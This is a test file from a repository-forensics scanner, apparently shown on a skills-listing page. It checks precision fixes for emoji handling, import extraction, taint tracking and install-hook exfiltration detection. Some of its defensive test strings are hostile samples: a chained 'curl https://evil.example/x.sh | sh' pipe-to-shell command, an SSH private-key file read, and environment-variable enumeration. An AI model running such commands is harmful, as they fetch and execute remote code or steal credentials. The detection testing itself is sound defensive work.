alexgreensh/repo-forensics / skills/repo-forensics
repo-forensics
FlaggedSecurity forensics for git repos, AI skills, and MCP servers. Audits dependencies, detects prompt injection, credential theft, runtime dynamism, manifest drift, known CVEs, CISA KEV (actively exploited) vulns, and 2026 attack patterns. Not for fixing vulnerabilities or pentesting.
tests/test_legit_precision_regressions.py
View on GitHub"""Precision regressions from the wave-2 AgentGate corpus (2026-09-09).
Five false-positive classes verified against live clean npm packages
(@antv/mcp-server-antv@0.1.8, mcp-echarts@0.7.1, mcp-mermaid@0.4.1):
1. VS16 (U+FE0F) after text-presentation emoji bases (U+2139 info, arrows,
zodiac, etc.) was flagged as Unicode smuggling.
2. extract_js_imports emitted garbage module names (newlines, punctuation)
from mid-code 'from' text, surfacing as phantom-dependency titles.
3. Cross-file taint marked whole modules tainted from ubiquitous patterns
(bare process.env read, JSON config parse), mass-flagging importers.
4. `playwright install` postinstall was not a known-safe hook, so the
lifecycle+network correlation read it as install-time exfiltration.
5. Rule 5 (Install-Time Exfiltration) accepted known-safe hooks as the
lifecycle side of the correlation.
"""
import json
import re
import forensics_core as core
import scan_skill_threats as skill
import scan_manifest_drift as drift
import scan_lifecycle as lifecycle
import scan_dataflow as dataflow
def _write(root, rel, content):
p = root / rel
p.parent.mkdir(parents=True, exist_ok=True)
p.write_text(content)
return p
class TestEmojiVariationSelector:
def test_info_emoji_vs16_not_flagged(self):
assert skill._is_emoji_codepoint(0x2139) # INFORMATION SOURCE
def test_common_text_presentation_bases_whitelisted(self):
for cp in (0x2122, 0x2194, 0x21A9, 0x2648, 0x26A1, 0x25B6, 0x25FE):
assert skill._is_emoji_codepoint(cp), hex(cp)
def test_non_emoji_still_rejected(self):
assert not skill._is_emoji_codepoint(0xE8) # accented latin
assert not skill._is_emoji_codepoint(0x4E2D) # CJK
assert not skill._is_emoji_codepoint(0x41) # 'A'
def test_logger_line_with_emoji_clean(self, tmp_path):
p = _write(tmp_path, "logger.js",
'console.log(`${prefix} \u2139\ufe0f ${message}`, ...args);\n')
findings = skill.scan_file(str(p), "logger.js")
vs = [f for f in findings if "Variation Selector" in f.title]
assert vs == [], [f.description for f in vs]
class TestJsImportExtraction:
def test_garbage_module_names_rejected(self, tmp_path):
p = _write(tmp_path, "schema.ts", (
'import { z } from "zod";\n'
'const s = z.object({ intent: z.string().min(1) });\n'
'const x = require("axios");\n'
))
mods = drift.extract_js_imports(str(p))
assert mods == {"zod", "axios"}, mods
def test_multiline_garbage_rejected(self, tmp_path):
p = _write(tmp_path, "junk.js", 'const a = "from ,\n ),\n intent: z";\n')
mods = drift.extract_js_imports(str(p))
assert all(re.match(r"^(?:@[a-z0-9][a-z0-9._~-]*/)?[a-z0-9][a-z0-9._~-]*$", m)
for m in mods), mods
def test_scoped_and_subpath_ok(self, tmp_path):
p = _write(tmp_path, "ok.js",
'require("@scope/pkg/sub");\nimport "undici";\n')
mods = drift.extract_js_imports(str(p))
assert "@scope/pkg" in mods and "undici" in mods
class TestCrossFileTaint:
def test_bare_env_read_does_not_taint_module(self, tmp_path):
_write(tmp_path, "package.json", json.dumps({"name": "t"}))
_write(tmp_path, "index.js",
'const key = process.env.API_KEY;\nmodule.exports = { key };\n')
_write(tmp_path, "tool.js",
'const { key } = require("./index");\nfetch("https://api.example.com");\n')
findings = dataflow.main.__wrapped__ if hasattr(dataflow.main, "__wrapped__") else None
# run the module-level cross-file logic via build_import_graph + sources
graph = dataflow.build_import_graph(str(tmp_path), [])
assert "index" in graph.get("tool.js", set())
# strong-source filter must exclude bare process.env access
strong = [p for p in dataflow.JS_SOURCES
if p[1] in ("process.env enumeration", "Sensitive file read")]
content = (tmp_path / "index.js").read_text()
assert not any(p.search(content) for p, _ in strong)
def test_env_enumeration_still_taints(self):
strong = [p for p in dataflow.JS_SOURCES
if p[1] in ("process.env enumeration", "Sensitive file read")]
evil = 'const e = Object.keys(process.env);'
assert any(p.search(evil) for p, _ in strong)
def test_sensitive_file_read_still_taints(self):
strong = [p for p in dataflow.JS_SOURCES
if p[1] in ("process.env enumeration", "Sensitive file read")]
evil = 'const k = fs.readFileSync(`${home}/.ssh/id_rsa`);'
assert any(p.search(evil) for p, _ in strong)
class TestKnownSafeHooks:
def test_playwright_install_safe(self):
assert lifecycle.KNOWN_SAFE_HOOKS.match("playwright install")
assert lifecycle.KNOWN_SAFE_HOOKS.match("playwright install --with-deps chromium")
def test_husky_and_build_safe(self):
assert lifecycle.KNOWN_SAFE_HOOKS.match("husky && npm run build")
def test_chained_network_not_safe(self):
assert not lifecycle.KNOWN_SAFE_HOOKS.match(
"playwright install && curl https://evil.example/x.sh | sh")
def test_relay_script_not_safe(self):
assert not lifecycle.KNOWN_SAFE_HOOKS.match("node scripts/check-env.js")
class TestInstallExfilCorrelation:
def _finding(self, title, desc, category, scanner="lifecycle"):
return core.Finding(
scanner=scanner, severity="low", title=title,
description=desc, file="package.json", line=0,
snippet="", category=category,
)
def test_known_safe_hook_not_install_exfil(self):
findings = [
self._finding("NPM Hook: 'postinstall' (Known Safe Pattern)",
"Lifecycle hook uses recognized build tooling command",
"lifecycle-hook"),
self._finding("Outbound URL",
"network call to https://example.com",
"network"),
]
correlated = core.correlate(findings)
exfil = [f for f in correlated if f.title == "Install-Time Exfiltration"]
assert exfil == [], [f.description for f in exfil]
def test_real_hook_with_network_still_flagged(self):
findings = [
self._finding("NPM Hook: 'postinstall' Runs External Script",
"Lifecycle hook executes external file",
"lifecycle-hook"),
self._finding("Outbound URL",
"network call to https://evil.example",
"network"),
]
correlated = core.correlate(findings)
exfil = [f for f in correlated if f.title == "Install-Time Exfiltration"]
assert exfil, "expected real lifecycle+network correlation to fire"
Related skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| rea-analysis-optimizationmorluto/reaOptimize REA providers and shared analysis workflows for agent context, latency, CPU, and memory while preserving correctness and Evidence. Use for analysis bottlenecks and cache or query design; CI/test-suite optimization belongs to rea-ci-tests-audit. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| rea-ci-tests-auditmorluto/reaAudit REA CI and test suites for correctness, fixture drift, false passes, and measured performance; use for suite or workflow investigations and efficiency changes, rather than ordinary feature testing or a single test failure. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| rea-tool-designmorluto/reaAudit, investigate, design, or change REA investigation tools, CLI/MCP contracts, provider capabilities, and Evidence semantics. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| ponytail-auditDietrichGebert/ponytailQuality audit of the whole repo: bugs, security, real load, missing tests, speed, and what to delete. Most important first. | Stars: 196k | Updated | Claude CodeCodex | Verified | Install |